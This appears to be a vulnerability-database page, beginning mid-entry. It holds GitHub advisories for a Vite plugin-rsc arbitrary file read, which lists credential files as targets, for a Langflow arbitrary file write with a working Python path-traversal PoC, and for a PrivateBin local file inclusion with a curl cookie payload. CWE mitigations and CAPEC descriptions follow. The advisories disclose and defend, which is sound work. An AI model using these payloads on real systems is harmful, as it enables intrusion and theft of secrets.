`/root/.ssh/id_rsa` | SSH private keys |\n| `/proc/self/environ` | Process environment variables |\n| Source code files | Any file in the filesystem |\n\n**Example output from `/etc/passwd`:**\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh\n```\n\n**Example output from sensitive secrets file:**\n\n```\nSECRET_API_KEY=sk-live-very-secret-key-12345\nDB_PASSWORD=super_secret_password\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n```\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-g239-q96q-x4qm",
"modified": "2025-12-16T22:32:27Z",
"published": "2025-12-16T22:32:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-g239-q96q-x4qm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68155"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react/pull/29708"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react/pull/30741"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite-plugin-react/commit/582fba0b9a52b13fcff6beaaa3bfbd532bc5359d"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitejs/vite-plugin-react"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@vitejs/plugin-rsc has an Arbitrary File Read via `/__vite_rsc_findSourceMapURL` Endpoint"
}
GHSA-G2J9-7RJ2-GM6C
Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-06-06 00:55Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt
Impact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33309"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-73",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T17:46:43Z",
"nvd_published_at": "2026-03-24T13:16:02Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n f\"{BASE_URL}/api/v2/files/\",\n headers={\"Authorization\": f\"Bearer {token}\"},\n files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures\tsecret_key traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
"id": "GHSA-g2j9-7rj2-gm6c",
"modified": "2026-06-06T00:55:50Z",
"published": "2026-03-19T17:46:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}
GHSA-G2J9-G8R5-RG82
Vulnerability from github – Published: 2025-11-14 20:33 – Updated: 2025-11-14 20:33Summary
An unauthenticated Local File Inclusion exists in the template-switching feature: if templateselection is enabled in the configuration, the server trusts the template cookie and includes the referenced PHP file. An attacker can read sensitive data or, if they manage to drop a PHP file elsewhere, gain RCE.
Affected versions
PrivateBin versions since 1.7.7.
Conditions
templateselectiongot enabled incfg/conf.php- Visitor sets a cookie
templatepointing to an existing PHP file without it's suffix, using a path relative to thetplfolder. Absolute paths do not work.
Impact
The constructed path of the template file is checked for existence, then included. For PrivateBin project files this does not leak any secrets due to data files being created with PHP code that prevents execution, but if a configuration file without that line got created or the visitor figures out the relative path to a PHP script that directly performs an action without appropriate privilege checking, those might execute or leak information.
Impact analysis
In detail, we have analyzed different ways of exploiting this vulnerability and found no way to cause a full remote code execution (RCE) vulnerability or denial of service (DoS) as recursive includes, e.g., are not possible.
Generally, it is again notably to remember only PHP files of the local filesystem can be included. That's why potentially at risk PrivateBin PHP files have been analyzed.
- the PrivateBin config file is by default protected as it prevents access itself resulting in a 403 HTTP status code. This is called the “(PHP) protection line”.
- Likewise, the paste data cannot be accessed due to that “protection line”. Each created file contains the same line protecting it against PHP execution/inclusion.
- As for the
salt,purge_andtraffic_limiterfiles, they get included, but no data is displayed (variables or comments only), and a webserver specific error message is returned. - When one tries to include
index.php, you get a PHP error (possibly visible, depending on the webserver setup), due to define being called twice. - With any of the files in lib and likely those in vendor (we have not verified each dependency), code is only declared and not executed and the result is again a webserver specific error message.
- With the scripts in bin, the result is an error message, but code is executed to some extent, but you cannot pass arguments to any administrative scripts as they are read via
$_SERVER['argc'].
That said, the vulnerability could be used to chain more attacks or execute other non-PrivateBin related PHP files on the host system, if such other files exist and the (relative) path to them can be guessed. Also, should for some reason the PHP “protection line” be missing on your deployment the impact could be much worse and e.g. data like the URL shortener token or the database configuration from the configuration file could possibly be exfiltrated.
Real-life impact
PrivateBin has checked all instances versioned 1.7.7 and above listed in the PrivateBin directory and did find 11 instances that had the template switcher enabled. The following script was used to detect this:
for URL in $(
curl --silent --header 'Accept: application/json' 'https://privatebin.info/directory/api?top=100&version=1.7.7' | jq --raw-output '.[].url'
) $(
curl --silent --header 'Accept: application/json' 'https://privatebin.info/directory/api?top=100&version=1.7.8' | jq --raw-output '.[].url'
) $(
curl --silent --header 'Accept: application/json' 'https://privatebin.info/directory/api?top=100&version=2' | jq --raw-output '.[].url'
)
do
curl --silent "$URL" | grep -q 'id="template"' && echo "$URL uses template switcher"
done
None of these instances had an unprotected PrivateBin configuration file in use. The following script was used and may be adapted to check any single instance:
curl --silent --cookie 'template=../cfg/conf' https://privatebin.net
Technical Description
Users can select their preferred template via the template cookie, as seen in TemplateSwitcher::getSelectedByUserTemplate:
private static function getSelectedByUserTemplate(): ?string
{
$selectedTemplate = null;
$templateCookieValue = $_COOKIE['template'] ?? '';
if (self::isTemplateAvailable($templateCookieValue)) {
$selectedTemplate = $templateCookieValue;
}
return $selectedTemplate;
}
In this commit, introduced in 1.7.7, the TemplateSwitcher::isTemplateAvailable method went from this:
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
to this:
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path);
}
return $available;
}
The new code will now blindly trust $template, unless it starts with the string bootstrap-.
View::getTemplateFilePath will return PATH . 'tpl' . DIRECTORY_SEPARATOR . $file . '.php', allowing directory traversal, but preventing non-PHP files to be included.
View::draw will then include the user-submitted template:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path;
}
Note: this is only possible if templateselection configuration is enabled, or if no template has been set. The template will be rewritten if this condition isn't met:
private function _setDefaultTemplate()
{
$templates = $this->_conf->getKey('availabletemplates');
$template = $this->_conf->getKey('template');
TemplateSwitcher::setAvailableTemplates($templates);
TemplateSwitcher::setTemplateFallback($template);
// force default template, if template selection is disabled and a default is set
if (!$this->_conf->getKey('templateselection') && !empty($template)) {
$_COOKIE['template'] = $template;
setcookie('template', $template, array('SameSite' => 'Lax', 'Secure' => true));
}
}
Reproduction Steps
- Configure PrivateBin with templateselection = true (default template list is fine).
- Send a request with a malicious template cookie like
template=../cfg/conf, where the relative path points to a PHP file without its file suffix - The script now includes the select PHP file (leading to a 500 in that specific case).
Mitigation
Patches
The issue has been patched in version 2.0.3.
Workarounds
Set templateselection = false in cfg/conf.php or remove it, it's default is false.
Credits
PrivateBin would like to thank Benoit Esnard, who reported this vulnerability.
In general, PrivateBin would like to thank everyone reporting issues and potential vulnerabilities to us.
If a user suspects they have found a vulnerability or potential security risk, PrivateBin kindly asks them to follow the security policy and report it to PrivateBin. After submssion the report is assessed and necessary actions will be taken to address it.
Timeline
- 2025-11-09 Received report via GitHub Security Advisory
- 2025-11-10 Discussed and reproduced issue, wrote a unit test case based on this, started work on a patch
- 2025-11-11 Further work on patch, refactored related code
- 2025-11-12 Released patch with PrivateBin 2.0.3
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "privatebin/privatebin"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.7"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64714"
],
"database_specific": {
"cwe_ids": [
"CWE-23",
"CWE-73",
"CWE-98"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-14T20:33:35Z",
"nvd_published_at": "2025-11-13T16:15:56Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAn unauthenticated Local File Inclusion exists in the template-switching feature: if `templateselection` is enabled in the configuration, the server trusts the `template` cookie and includes the referenced PHP file. An attacker can read sensitive data or, if they manage to drop a PHP file elsewhere, gain RCE.\n\n## Affected versions\n\nPrivateBin versions since 1.7.7.\n\n## Conditions\n\n- `templateselection` got enabled in `cfg/conf.php`\n- Visitor sets a cookie `template` pointing to an existing PHP file without it\u0027s suffix, using a path relative to the `tpl` folder. Absolute paths do not work.\n\n## Impact\n\nThe constructed path of the template file is checked for existence, then included. For PrivateBin project files this does not leak any secrets due to data files being created with PHP code that prevents execution, but if a configuration file without that line got created or the visitor figures out the relative path to a PHP script that directly performs an action without appropriate privilege checking, those might execute or leak information.\n\n### Impact analysis\nIn detail, we have analyzed different ways of exploiting this vulnerability and found no way to cause a full remote code execution (RCE) vulnerability or denial of service (DoS) as recursive includes, e.g., are not possible.\n\nGenerally, it is again notably to remember only PHP files of the local filesystem can be included. That\u0027s why potentially at risk PrivateBin PHP files have been analyzed.\n\n* the PrivateBin config file is by default [protected as it prevents access itself](https://github.com/PrivateBin/PrivateBin/blob/591d2d40e16a196aa628e3962a1c21bdf9793db2/cfg/conf.sample.php#L1) resulting in a 403 HTTP status code. This is called the \u201c(PHP) protection line\u201d.\n* Likewise, the paste data cannot be accessed due to that \u201cprotection line\u201d. [Each created file contains the same line protecting it against](https://github.com/PrivateBin/PrivateBin/blob/591d2d40e16a196aa628e3962a1c21bdf9793db2/lib/Data/Filesystem.php#L46) PHP execution/inclusion.\n* As for the `salt`, `purge_` and `traffic_limiter` files, they get included, but no data is displayed (variables or comments only), and a webserver specific error message is returned.\n* When one tries to include `index.php`, you get a PHP error (possibly visible, depending on the webserver setup), due to define being called twice.\n* With any of the files in lib and likely those in vendor (we have not verified each dependency), code is only declared and not executed and the result is again a webserver specific error message.\n* With the scripts in bin, the result is an error message, but code is executed to some extent, but you cannot pass arguments to any administrative scripts [as they are read via `$_SERVER[\u0027argc\u0027]`](https://github.com/PrivateBin/PrivateBin/blob/d32ac29925066c668241a165264c76de051398e3/bin/administration#L357C37-L357C54).\n\nThat said, the vulnerability could be used to chain more attacks or execute other non-PrivateBin related PHP files on the host system, if such other files exist and the (relative) path to them can be guessed.\nAlso, should for some reason the PHP \u201cprotection line\u201d be missing on your deployment the impact could be much worse and e.g. data like the URL shortener token or the database configuration from the configuration file could possibly be exfiltrated.\n\n### Real-life impact\n\nPrivateBin has checked all instances versioned 1.7.7 and above listed in the [PrivateBin directory](https://privatebin.info/directory/) and did find 11 instances that had the template switcher enabled. The following script was used to detect this:\n\n```shell\nfor URL in $(\n curl --silent --header \u0027Accept: application/json\u0027 \u0027https://privatebin.info/directory/api?top=100\u0026version=1.7.7\u0027 | jq --raw-output \u0027.[].url\u0027\n) $(\n curl --silent --header \u0027Accept: application/json\u0027 \u0027https://privatebin.info/directory/api?top=100\u0026version=1.7.8\u0027 | jq --raw-output \u0027.[].url\u0027\n) $(\n curl --silent --header \u0027Accept: application/json\u0027 \u0027https://privatebin.info/directory/api?top=100\u0026version=2\u0027 | jq --raw-output \u0027.[].url\u0027\n)\ndo\n curl --silent \"$URL\" | grep -q \u0027id=\"template\"\u0027 \u0026\u0026 echo \"$URL uses template switcher\"\ndone\n```\n\nNone of these instances had an unprotected PrivateBin configuration file in use. The following script was used and may be adapted to check any single instance:\n\n```shell\ncurl --silent --cookie \u0027template=../cfg/conf\u0027 https://privatebin.net\n```\n\n## Technical Description\n\nUsers can select their preferred template via the `template` cookie, as seen in `TemplateSwitcher::getSelectedByUserTemplate`:\n\n```php\n private static function getSelectedByUserTemplate(): ?string\n {\n $selectedTemplate = null;\n $templateCookieValue = $_COOKIE[\u0027template\u0027] ?? \u0027\u0027;\n\n if (self::isTemplateAvailable($templateCookieValue)) {\n $selectedTemplate = $templateCookieValue;\n }\n\n return $selectedTemplate;\n }\n```\n\nIn [this commit](44f8cfbfb8df4b4bec1cbf79aa8ce51abdb18be3), introduced in 1.7.7, the `TemplateSwitcher::isTemplateAvailable` method went from this:\n\n```php\n public static function isTemplateAvailable(string $template): bool\n {\n return in_array($template, self::getAvailableTemplates());\n }\n```\n\nto this:\n\n```php\n public static function isTemplateAvailable(string $template): bool\n {\n $available = in_array($template, self::getAvailableTemplates());\n\n if (!$available \u0026\u0026 !View::isBootstrapTemplate($template)) {\n $path = View::getTemplateFilePath($template);\n $available = file_exists($path);\n }\n\n return $available;\n }\n```\n\nThe new code will now blindly trust `$template`, unless it starts with the string `bootstrap-`.\n\n`View::getTemplateFilePath` will return `PATH . \u0027tpl\u0027 . DIRECTORY_SEPARATOR . $file . \u0027.php\u0027`, allowing directory traversal, but preventing non-PHP files to be included.\n\n`View::draw` will then include the user-submitted template:\n\n```php\n public function draw($template)\n {\n $path = self::getTemplateFilePath($template);\n if (!file_exists($path)) {\n throw new Exception(\u0027Template \u0027 . $template . \u0027 not found!\u0027, 80);\n }\n extract($this-\u003e_variables);\n include $path;\n }\n```\n\n**Note:** this is only possible if `templateselection` configuration is enabled, or if no template has been set. The `template` will be rewritten if this condition isn\u0027t met:\n\n```php\n private function _setDefaultTemplate()\n {\n $templates = $this-\u003e_conf-\u003egetKey(\u0027availabletemplates\u0027);\n $template = $this-\u003e_conf-\u003egetKey(\u0027template\u0027);\n TemplateSwitcher::setAvailableTemplates($templates);\n TemplateSwitcher::setTemplateFallback($template);\n\n // force default template, if template selection is disabled and a default is set\n if (!$this-\u003e_conf-\u003egetKey(\u0027templateselection\u0027) \u0026\u0026 !empty($template)) {\n $_COOKIE[\u0027template\u0027] = $template;\n setcookie(\u0027template\u0027, $template, array(\u0027SameSite\u0027 =\u003e \u0027Lax\u0027, \u0027Secure\u0027 =\u003e true));\n }\n }\n```\n\n### Reproduction Steps\n\n1. Configure PrivateBin with templateselection = true (default template list is fine).\n2. Send a request with a malicious template cookie like `template=../cfg/conf`, where the relative path points to a PHP file without its file suffix\n3. The script now includes the select PHP file (leading to a 500 in that specific case).\n\n## Mitigation\n\n### Patches\n\nThe issue has been patched in version 2.0.3.\n\n### Workarounds\n\nSet `templateselection = false` in `cfg/conf.php` or remove it, it\u0027s default is `false`.\n\n## Credits\n\nPrivateBin would like to thank [Benoit Esnard](https://github.com/esnard), who reported this vulnerability.\n\nIn general, PrivateBin would like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf a user suspects they have found a vulnerability or potential security risk, [PrivateBin kindly asks them to follow the security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to PrivateBin. After submssion the report is assessed and necessary actions will be taken to address it.\n\n## Timeline\n\n- 2025-11-09 Received report via GitHub Security Advisory\n- 2025-11-10 Discussed and reproduced issue, wrote a unit test case based on this, started work on a patch\n- 2025-11-11 Further work on patch, refactored related code\n- 2025-11-12 Released patch with PrivateBin 2.0.3",
"id": "GHSA-g2j9-g8r5-rg82",
"modified": "2025-11-14T20:33:36Z",
"published": "2025-11-14T20:33:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64714"
},
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/commit/4434dbf73ac53217fda0f90d8cf9b6110f8acc4f"
},
{
"type": "PACKAGE",
"url": "https://github.com/PrivateBin/PrivateBin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PrivateBin\u0027s template-switching feature allows arbitrary local file inclusion through path traversal"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.